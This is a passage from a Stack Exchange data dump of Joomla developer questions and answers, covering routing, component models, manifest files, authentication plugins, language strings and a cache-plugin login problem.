  <row Id="32663" PostTypeId="2" ParentId="32641" CreationDate="2022-12-26T18:25:15.843" Score="1" Body="&lt;p&gt;It looks like you have error reporting turned on and only a warning is breaking things.  Look at the error message - it's simply saying that the constant is already defined.  You need to either turn down the error reporting config in PHP, or rewrite the code to only define &lt;code&gt;JPATH_BASE&lt;/code&gt; if it's not already.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (!defined('_JEXEC')) define('_JEXEC', 1);&#xA;if (!defined('JPATH_BASE')) define('JPATH_BASE', __DIR__);&#xA;&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;/*&#xA; * Alias the session service keys to the web session service as that is the primary session backend for this application&#xA; *&#xA; * In addition to aliasing &amp;quot;common&amp;quot; service keys, we also create aliases for the PHP classes to ensure autowiring objects&#xA; * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered&#xA; * deprecated to be removed when the class name alias is removed as well.&#xA; */&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;var_dump($app);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-26T18:25:15.843" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32664" PostTypeId="1" CreationDate="2022-12-27T16:04:40.207" Score="2" ViewCount="50" Body="&lt;p&gt;In Native url in joomla 4x like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.abc.com/index.php?option=com_deals&amp;amp;view=schemes&amp;amp;Itemid=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is there a way to change in from &lt;code&gt;view=schemes&lt;/code&gt; to &lt;code&gt;view=list&lt;/code&gt; so as to have url like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.abc.com/index.php?option=com_deals&amp;amp;view=list&amp;amp;Itemid=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is it possible to do tweaks through src/service/router.php&#xA;any help on same&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2023-01-01T17:00:59.527" Title="change joomla url in 4x" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32665" PostTypeId="1" AcceptedAnswerId="32668" CreationDate="2022-12-29T03:27:22.553" Score="0" ViewCount="115" Body="&lt;p&gt;I want to pass value of id in new variable v_id so that if we are displaying news in frontend value of v_id can be shown in front end&#xA;Essentially the role which id do, can be performed by v_id&#xA;Pls guide&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @version    CVS: 1.0.0&#xA; * @package    Com_Latestnews&#xA; * @author     RM &amp;lt;rm@gmail.com&amp;gt;&#xA; * @copyright  RM&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace Latestnews\Component\Latestnews\Site\Model;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;use \Joomla\CMS\Factory;&#xA;use \Joomla\Utilities\ArrayHelper;&#xA;use \Joomla\CMS\Language\Text;&#xA;use \Joomla\CMS\Table\Table;&#xA;use \Joomla\CMS\MVC\Model\ItemModel;&#xA;use \Joomla\CMS\Helper\TagsHelper;&#xA;use \Joomla\CMS\Object\CMSObject;&#xA;use \Joomla\CMS\User\UserFactoryInterface;&#xA;use \Latestnews\Component\Latestnews\Site\Helper\LatestnewsHelper;&#xA;&#xA;/**&#xA; * Latestnews model.&#xA; *&#xA; * @since  1.0.0&#xA; */&#xA;class DetailModel extends ItemModel&#xA;{&#xA;    public $_item;&#xA;&#xA;    &#xA;&#xA;    &#xA;&#xA;    /**&#xA;     * Method to auto-populate the model state.&#xA;     *&#xA;     * Note. Calling getState in this method will result in recursion.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   1.0.0&#xA;     *&#xA;     * @throws Exception&#xA;     */&#xA;    protected function populateState()&#xA;    {&#xA;        $app  = Factory::getApplication('com_latestnews');&#xA;        $user = $app-&amp;gt;getIdentity();&#xA;&#xA;        // Check published state&#xA;        if ((!$user-&amp;gt;authorise('core.edit.state', 'com_latestnews')) &amp;amp;&amp;amp; (!$user-&amp;gt;authorise('core.edit', 'com_latestnews')))&#xA;        {&#xA;            $this-&amp;gt;setState('filter.published', 1);&#xA;            $this-&amp;gt;setState('filter.archived', 2);&#xA;        }&#xA;&#xA;        // Load state from the request userState on edit or from the passed variable on default&#xA;        if (Factory::getApplication()-&amp;gt;input-&amp;gt;get('layout') == 'edit')&#xA;        {&#xA;            $id = Factory::getApplication()-&amp;gt;getUserState('com_latestnews.edit.detail.id');&#xA;        }&#xA;        else&#xA;        {&#xA;            $id = Factory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;            Factory::getApplication()-&amp;gt;setUserState('com_latestnews.edit.detail.id', $id);&#xA;        }&#xA;&#xA;        $this-&amp;gt;setState('detail.id', $id);&#xA;&#xA;        // Load the parameters.&#xA;        $params       = $app-&amp;gt;getParams();&#xA;        $params_array = $params-&amp;gt;toArray();&#xA;&#xA;        if (isset($params_array['item_id']))&#xA;        {&#xA;            $this-&amp;gt;setState('detail.id', $params_array['item_id']);&#xA;        }&#xA;&#xA;        $this-&amp;gt;setState('params', $params);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get an object.&#xA;     *&#xA;     * @param   integer $id The id of the object to get.&#xA;     *&#xA;     * @return  mixed    Object on success, false on failure.&#xA;     *&#xA;     * @throws Exception&#xA;     */&#xA;    public function getItem($id = null)&#xA;    {&#xA;        if ($this-&amp;gt;_item === null)&#xA;        {&#xA;            $this-&amp;gt;_item = false;&#xA;&#xA;            if (empty($id))&#xA;            {&#xA;                $id = $this-&amp;gt;getState('detail.id');&#xA;            }&#xA;&#xA;            // Get a level row instance.&#xA;            $table = $this-&amp;gt;getTable();&#xA;&#xA;            // Attempt to load the row.&#xA;            if ($table &amp;amp;&amp;amp; $table-&amp;gt;load($id))&#xA;            {&#xA;                &#xA;&#xA;                // Check published state.&#xA;                if ($published = $this-&amp;gt;getState('filter.published'))&#xA;                {&#xA;                    if (isset($table-&amp;gt;state) &amp;amp;&amp;amp; $table-&amp;gt;state != $published)&#xA;                    {&#xA;                        throw new \Exception(Text::_('COM_LATESTNEWS_ITEM_NOT_LOADED'), 403);&#xA;                    }&#xA;                }&#xA;&#xA;                // Convert the Table to a clean CMSObject.&#xA;                $properties  = $table-&amp;gt;getProperties(1);&#xA;                $this-&amp;gt;_item = ArrayHelper::toObject($properties, CMSObject::class);&#xA;&#xA;                &#xA;            }&#xA;&#xA;            if (empty($this-&amp;gt;_item))&#xA;            {&#xA;                throw new \Exception(Text::_('COM_LATESTNEWS_ITEM_NOT_LOADED'), 404);&#xA;            }&#xA;        }&#xA;&#xA;        &#xA;&#xA;        return $this-&amp;gt;_item;&#xA;    }&#xA;    &#xA;&#xA;&#xA;    /**&#xA;     * Get an instance of Table class&#xA;     *&#xA;     * @param   string $type   Name of the Table class to get an instance of.&#xA;     * @param   string $prefix Prefix for the table class name. Optional.&#xA;     * @param   array  $config Array of configuration values for the Table object. Optional.&#xA;     *&#xA;     * @return  Table|bool Table if success, false on failure.&#xA;     */&#xA;    public function getTable($type = 'Detail', $prefix = 'Administrator', $config = array())&#xA;    {&#xA;        return parent::getTable($type, $prefix, $config);&#xA;    }&#xA;&#xA;    /**&#xA;     * Get the id of an item by alias&#xA;     *&#xA;     * @param   string $alias Item alias&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public function getItemIdByAlias($alias)&#xA;    {&#xA;        $table      = $this-&amp;gt;getTable();&#xA;        $properties = $table-&amp;gt;getProperties();&#xA;        $result     = null;&#xA;        $aliasKey   = null;&#xA;        if (method_exists($this, 'getAliasFieldNameByView'))&#xA;        {&#xA;            $aliasKey   = $this-&amp;gt;getAliasFieldNameByView('detail');&#xA;        }&#xA;        &#xA;&#xA;        if (key_exists('alias', $properties))&#xA;        {&#xA;            $table-&amp;gt;load(array('alias' =&amp;gt; $alias));&#xA;            $result = $table-&amp;gt;id;&#xA;        }&#xA;        elseif (isset($aliasKey) &amp;amp;&amp;amp; key_exists($aliasKey, $properties))&#xA;        {&#xA;            $table-&amp;gt;load(array($aliasKey =&amp;gt; $alias));&#xA;            $result = $table-&amp;gt;id;&#xA;        }&#xA;        &#xA;            return $result;&#xA;        &#xA;    }&#xA;&#xA;    /**&#xA;     * Method to check in an item.&#xA;     *&#xA;     * @param   integer $id The id of the row to check out.&#xA;     *&#xA;     * @return  boolean True on success, false on failure.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    public function checkin($id = null)&#xA;    {&#xA;        // Get the id.&#xA;        $id = (!empty($id)) ? $id : (int) $this-&amp;gt;getState('detail.id');&#xA;                &#xA;        if ($id)&#xA;        {&#xA;            // Initialise the table&#xA;            $table = $this-&amp;gt;getTable();&#xA;&#xA;            // Attempt to check the row in.&#xA;            if (method_exists($table, 'checkin'))&#xA;            {&#xA;                if (!$table-&amp;gt;checkin($id))&#xA;                {&#xA;                    return false;&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;        &#xA;    }&#xA;&#xA;    /**&#xA;     * Method to check out an item for editing.&#xA;     *&#xA;     * @param   integer $id The id of the row to check out.&#xA;     *&#xA;     * @return  boolean True on success, false on failure.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    public function checkout($id = null)&#xA;    {&#xA;        // Get the user id.&#xA;        $id = (!empty($id)) ? $id : (int) $this-&amp;gt;getState('detail.id');&#xA;&#xA;                &#xA;        if ($id)&#xA;        {&#xA;            // Initialise the table&#xA;            $table = $this-&amp;gt;getTable();&#xA;&#xA;            // Get the current user object.&#xA;            $user = Factory::getApplication()-&amp;gt;getIdentity();&#xA;&#xA;            // Attempt to check the row out.&#xA;            if (method_exists($table, 'checkout'))&#xA;            {&#xA;                if (!$table-&amp;gt;checkout($user-&amp;gt;get('id'), $id))&#xA;                {&#xA;                    return false;&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;                &#xA;    }&#xA;&#xA;    /**&#xA;     * Publish the element&#xA;     *&#xA;     * @param   int $id    Item id&#xA;     * @param   int $state Publish state&#xA;     *&#xA;     * @return  boolean&#xA;     */&#xA;    public function publish($id, $state)&#xA;    {&#xA;        $table = $this-&amp;gt;getTable();&#xA;                &#xA;        $table-&amp;gt;load($id);&#xA;        $table-&amp;gt;state = $state;&#xA;&#xA;        return $table-&amp;gt;store();&#xA;                &#xA;    }&#xA;&#xA;    /**&#xA;     * Method to delete an item&#xA;     *&#xA;     * @param   int $id Element id&#xA;     *&#xA;     * @return  bool&#xA;     */&#xA;    public function delete($id)&#xA;    {&#xA;        $table = $this-&amp;gt;getTable();&#xA;&#xA;        &#xA;            return $table-&amp;gt;delete($id);&#xA;        &#xA;    }&#xA;&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-12-31T01:52:15.283" Title="pass on value of id in another variable" Tags="|joomla-4.x|variable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32666" PostTypeId="1" CreationDate="2022-12-29T09:42:27.580" Score="1" ViewCount="43" Body="&lt;p&gt;I'm using Regular Lab's sourcerer to embed code in an article to modify users' email addresses once a questionnaire has been completed (anonymization).&lt;/p&gt;&#xA;&lt;p&gt;I used this code to no avail:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$user-&amp;gt;setParam('email', NULL);&#xA;$user-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Would you have a clue as how it should be changed?&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="16817" LastActivityDate="2023-01-05T03:50:55.913" Title="Modifying email address through PHP" Tags="|joomla-3.x|php|sourcerer|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32668" PostTypeId="2" ParentId="32665" CreationDate="2022-12-31T01:52:15.283" Score="2" Body="&lt;p&gt;If I understand well your question and code, you should change:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getApplication()-&amp;gt;input-&amp;gt;get('v_id', 0, 'int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Check Joomla\Input\Input is the one used to manage retrieving data from the application environment&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2022-12-31T01:52:15.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32669" PostTypeId="1" AcceptedAnswerId="32671" CreationDate="2022-12-31T08:25:35.947" Score="2" ViewCount="97" Body="&lt;p&gt;What tags do I correctly use in the XML file to install an extension to add a file?&#xA;&lt;code&gt;filename&lt;/code&gt; or &lt;code&gt;file&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;In example code (&lt;a href=&quot;https://codeberg.org/astrid/j4examplecode/src/branch/tutorial/src/plugins/content/indieweb/indieweb.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codeberg.org/astrid/j4examplecode/src/branch/tutorial/src/plugins/content/indieweb/indieweb.xml&lt;/a&gt;) I found&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;file&amp;gt;indieweb.xml&amp;lt;/file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That works. But:&lt;/p&gt;&#xA;&lt;p&gt;Now I found in Joomla Core (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/75d6c4970d2940ae8fdebe52335ab5411b52f4ea/plugins/content/contact/contact.xml#LL13C3-L13C52&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/75d6c4970d2940ae8fdebe52335ab5411b52f4ea/plugins/content/contact/contact.xml#LL13C3-L13C52&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&amp;quot;contact&amp;quot;&amp;gt;contact.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the correct way?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2023-01-01T18:13:44.217" Title="use file or filename in XML" Tags="|joomla-4.x|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32670" PostTypeId="2" ParentId="32662" CreationDate="2023-01-01T09:16:04.967" Score="2" Body="&lt;p&gt;Thanks! Moreover I have also forgotten &lt;code&gt;use Joomla\CMS\Form\Form;&lt;/code&gt; and &lt;code&gt;use Joomla\Registry\Registry;&lt;/code&gt; in EspaciocheckRule.php. Now it's working fine.&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-01-01T09:16:04.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32671" PostTypeId="2" ParentId="32669" CreationDate="2023-01-01T18:13:44.217" Score="2" Body="&lt;p&gt;Each file to copy must be represented by a &lt;code&gt;&amp;lt;filename&amp;gt;&lt;/code&gt; element. If you want to copy an entire folder at once, you can define it as a &lt;code&gt;&amp;lt;folder&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Useful resource to consult: &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-01T18:13:44.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32672" PostTypeId="1" CreationDate="2023-01-02T00:33:27.960" Score="0" ViewCount="79" Body="&lt;p&gt;I need to create a &amp;quot;login using steam button&amp;quot; for a website using Joomla, from my research I can gather up that using OAuth no longer works for Steam, so I'll have to create a custom authentication plugin for this. How to connect custom authentication plugin to openid so I can authenticate it through steam?&lt;/p&gt;&#xA;" OwnerUserId="14687" LastEditorUserId="14687" LastEditDate="2023-01-02T23:36:29.883" LastActivityDate="2024-01-28T02:03:00.417" Title="How to connect custom authentication plugin to openid so I can authenticate it through steam?" Tags="|plugin|development|joomla-4.x|login|authentication|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32673" PostTypeId="2" ParentId="32672" CreationDate="2023-01-02T20:14:21.130" Score="0" Body="&lt;p&gt;Here would be the instructions on how to do this:&#xA;&lt;a href=&quot;https://docs.joomla.org/J4.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Creating_an_Authentication_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16394" LastActivityDate="2023-01-02T20:14:21.130" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32674" PostTypeId="1" AcceptedAnswerId="32683" CreationDate="2023-01-03T08:29:20.310" Score="1" ViewCount="48" Body="&lt;p&gt;I'm trying to find a way to customize the message displayed after a successful record has been saved in a custom component. Well not really the entire message, just the 'item' part. For instance if my component is titled Resources, I'd like the success message to display, 'resource saved' rather than 'item saved'. And in the list view when it displays: 'N_ITEMS_CHECKED_IN' I would also like to replace the 'ITEMS' part. I know I could just interpret this in the language file. But I would still like to know how to change it.&lt;/p&gt;&#xA;&lt;p&gt;I know the &lt;code&gt;$text_prefix&lt;/code&gt; variable in the &lt;code&gt;AdminModel&lt;/code&gt; controls the prefix. I looked for something similar in the Joomla core files, but I couldn't find anything. Or maybe I just didn't look in the correct place.&lt;/p&gt;&#xA;" OwnerUserId="9821" LastEditorUserId="12352" LastEditDate="2023-01-03T10:16:34.570" LastActivityDate="2023-01-05T09:46:19.267" Title="Customizing 'Item Saved' message in custom component" Tags="|database|view|model|controller|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32675" PostTypeId="1" AcceptedAnswerId="32681" CreationDate="2023-01-03T11:48:28.860" Score="1" ViewCount="45" Body="&lt;p&gt;My joomla 3.10 website was transferred to a new server. I get the following error message from the joomla debug console: &amp;quot;JROOT/administrator/language/en-GB/en-GB.plg_system_jdom.ini : error(s) in line(s) 69&amp;quot;. How can i fix the problem? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13471" LastActivityDate="2023-02-03T13:07:41.017" Title="Parsing errors in language files" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32677" PostTypeId="1" CreationDate="2023-01-04T06:26:52.520" Score="0" ViewCount="289" Body="&lt;p&gt;I don't know if this is a bug or if this is something new with Joomla 4, but any help would be greatly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 2 and 3, I would create menu items of the URL System Links type that sent users to external sites. However, now on Joomla 4 when I create the same type of menu item and try to visit the alias, I get a 404 error and it says 'Component Not Found'. It only happens on this type of menu item, any other type works fine.&lt;/p&gt;&#xA;&lt;p&gt;Am I missing something? Is there a new setting in Joomla 4, or is this the expected behavior now?&lt;/p&gt;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2024-01-29T11:04:00.437" Title="URL System Links not working" Tags="|menu|menu-item|url|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32678" PostTypeId="2" ParentId="32677" CreationDate="2023-01-04T07:37:53.547" Score="0" Body="&lt;p&gt;Checked with a complete url like &lt;code&gt;https://www.marca.com&lt;/code&gt; (with https://), and works as expected. Links without http... are internal links.&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-01-04T07:37:53.547" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32679" PostTypeId="1" AcceptedAnswerId="32680" CreationDate="2023-01-04T08:05:29.520" Score="1" ViewCount="452" Body="&lt;p&gt;I can't get Table class to work in a controller. I try to get the data of a record in a table but I always get&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Call to a member function load() on bool&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is it possible to use the Table class in a controller? What could be omitting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_aaprueba/src/Table/EspaciosTable.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Administrator\Table;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use \Joomla\CMS\Table\Table;&#xA;use \Joomla\Database\DatabaseDriver;&#xA;&#xA;class EspaciosTable extends Table&#xA;{&#xA;    public function __construct(DatabaseDriver $db)&#xA;    {&#xA;        parent::__construct('#__sfi_es_espacios', 'id', $db);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;components/com_aaprueba/src/Controller/EspaciosController.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Site\Controller;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\Controller\FormController;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Table\Table;&#xA;&#xA;class EspaciosController extends FormController&#xA;{&#xA;    public function getEspacio()&#xA;    {&#xA;        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_aaprueba/src/Table');&#xA;        $table = Table::getInstance('Espacios', 'Table', array());&#xA;        $id = 2;&#xA;        $table-&amp;gt;load($id);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-01-04T08:19:28.393" Title="J4. Table class in controller" Tags="|joomla-4.x|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32680" PostTypeId="2" ParentId="32679" CreationDate="2023-01-04T08:19:28.393" Score="2" Body="&lt;p&gt;Use the MVC factory. &lt;code&gt;Joomla\CMS\Table\Table::addIncludePath()&lt;/code&gt; call is not needed in J4 style components.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;factory-&amp;gt;createTable('Espacios', 'Administrator');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-01-04T08:19:28.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32681" PostTypeId="2" ParentId="32675" CreationDate="2023-01-04T12:49:23.260" Score="0" Body="&lt;p&gt;It looks like a System Plugin called JDom (plg_system_jdom) has an issue with the new server / PHP version. If you don't need that plugin, disable it (or uninstall it).&#xA;If you need that plugin:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Could you compare the PHP versions and server settings from both servers?&lt;/li&gt;&#xA;&lt;li&gt;Could you switch on Joomla's debug mode (in Global Configuration) and post the  detailed error info here?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-01-04T12:49:23.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32682" PostTypeId="2" ParentId="32666" CreationDate="2023-01-04T14:38:08.747" Score="1" Body="&lt;p&gt;Well, I finally found a PHP code (with the help of my wife) which works fine under Joomla 3.10 (thanks to Regular Labs' Sourcerer) and removes the email address of the current user:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$userId = $user-&amp;gt;get( 'id' );&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query = (&amp;quot;UPDATE `tablename_users` SET `email`=NULL WHERE `id` = '$userId'&amp;quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16817" LastEditorUserId="12352" LastEditDate="2023-01-05T03:50:55.913" LastActivityDate="2023-01-05T03:50:55.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32683" PostTypeId="2" ParentId="32674" CreationDate="2023-01-05T09:46:19.267" Score="0" Body="&lt;p&gt;The &lt;code&gt;Joomla\CMS\MVC\Model\FormModel::$text_prefix&lt;/code&gt; property is used to define a prefix used for building language keys throughout the model. It defaults to component's element (e.g. &lt;code&gt;COM_REPORTS&lt;/code&gt;). This would result in a language key like &lt;code&gt;COM_REPORTS_N_ITEMS_CHECKED_IN&lt;/code&gt;. To use multiple strings per component, use different suffixes per model, e.g. &lt;code&gt;COM_REPORTS_RESOURCES&lt;/code&gt; in one model (which would result in a key like &lt;code&gt;COM_REPORTS_RESOURCES_N_ITEMS_CHECKED_IN&lt;/code&gt; ) and &lt;code&gt;COM_REPORTS_SOMEOTHERITEMS&lt;/code&gt; in another model. And add the appropriate language strings to language files.&lt;/p&gt;&#xA;&lt;p&gt;You should note that &lt;code&gt;Joomla\CMS\MVC\Controller\FormController&lt;/code&gt; also has &lt;code&gt;$text_prefix&lt;/code&gt; property which is used the same way. This is where the generic &amp;quot;Item saved&amp;quot; string comes from. They key by default would be &lt;code&gt;COM_REPORTS_SAVE_SUCCESS&lt;/code&gt; but you can change it by changing the prefix.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-01-05T09:46:19.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32684" PostTypeId="2" ParentId="32639" CreationDate="2023-01-05T16:13:32.180" Score="1" Body="&lt;p&gt;So it seems this was my mistake!&lt;/p&gt;&#xA;&lt;p&gt;I was having issues with various aspects of the site so I decided to do some experimenting.&lt;/p&gt;&#xA;&lt;p&gt;The steps I took to reproduce this are (using HeidiSQL);&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;took a dump of all the tables in my database&lt;/li&gt;&#xA;&lt;li&gt;dropped the database&lt;/li&gt;&#xA;&lt;li&gt;created a new database&lt;/li&gt;&#xA;&lt;li&gt;imported the dump from step 1&lt;/li&gt;&#xA;&lt;li&gt;special characters appeared&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I think I was exporting or importing the dump as a different character encoding, possibly? I can't remember any of the export or import options I chose, but I'm guessing that was the cause.&lt;/p&gt;&#xA;&lt;p&gt;I was able to restore the site using Akeeba without any issue, which I should have done from the beginning.&lt;/p&gt;&#xA;&lt;p&gt;Take backups, use Akeeba, much easier.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2023-01-05T16:13:32.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32685" PostTypeId="2" ParentId="28970" CreationDate="2023-01-06T09:53:14.973" Score="1" Body="&lt;p&gt;Open lscache.php file&#xA;it's in the folder httpdocs/plugins/system/lscache&#xA;Comment on this Line 549&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserAfterLogin($options) {&#xA;    if (!$this-&amp;gt;cacheEnabled) {&#xA;        return;&#xA;    }&#xA;&#xA;    if ($this-&amp;gt;app-&amp;gt;isAdmin()) {&#xA;        return;&#xA;    }&#xA;    $this-&amp;gt;lscInstance-&amp;gt;checkPrivateCookie();&#xA;    $this-&amp;gt;checkVary();&#xA;    if ($this-&amp;gt;esiEnabled) {&#xA;        $this-&amp;gt;lscInstance-&amp;gt;purgeAllPrivate();&#xA;        $this-&amp;gt;log();&#xA;    }&#xA;}&#xA;&#xA;public function onUserAfterLogout($options) {&#xA;    if (!$this-&amp;gt;cacheEnabled) {&#xA;        return;&#xA;    }&#xA;&#xA;    if ($this-&amp;gt;app-&amp;gt;isAdmin()) {&#xA;        return;&#xA;    }&#xA;    $this-&amp;gt;checkVary();&#xA;    if ($this-&amp;gt;esiEnabled) {&#xA;        $this-&amp;gt;lscInstance-&amp;gt;purgeAllPrivate();&#xA;        $this-&amp;gt;log();&#xA;    }&#xA;}&#xA;&#xA;public function onUserLoginFailure($respond) {&#xA;    $this-&amp;gt;lscInstance-&amp;gt;purgePrivate('joomla.login');&#xA;    $this-&amp;gt;log();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then try to login&#xA;After that, uninstall LiteSpeed Cache Plugin.&lt;/p&gt;&#xA;" OwnerUserId="16827" LastEditorUserId="16827" LastEditDate="2023-01-06T09:55:03.590" LastActivityDate="2023-01-06T09:55:03.590" CommentCount="2" ContentLicense="CC 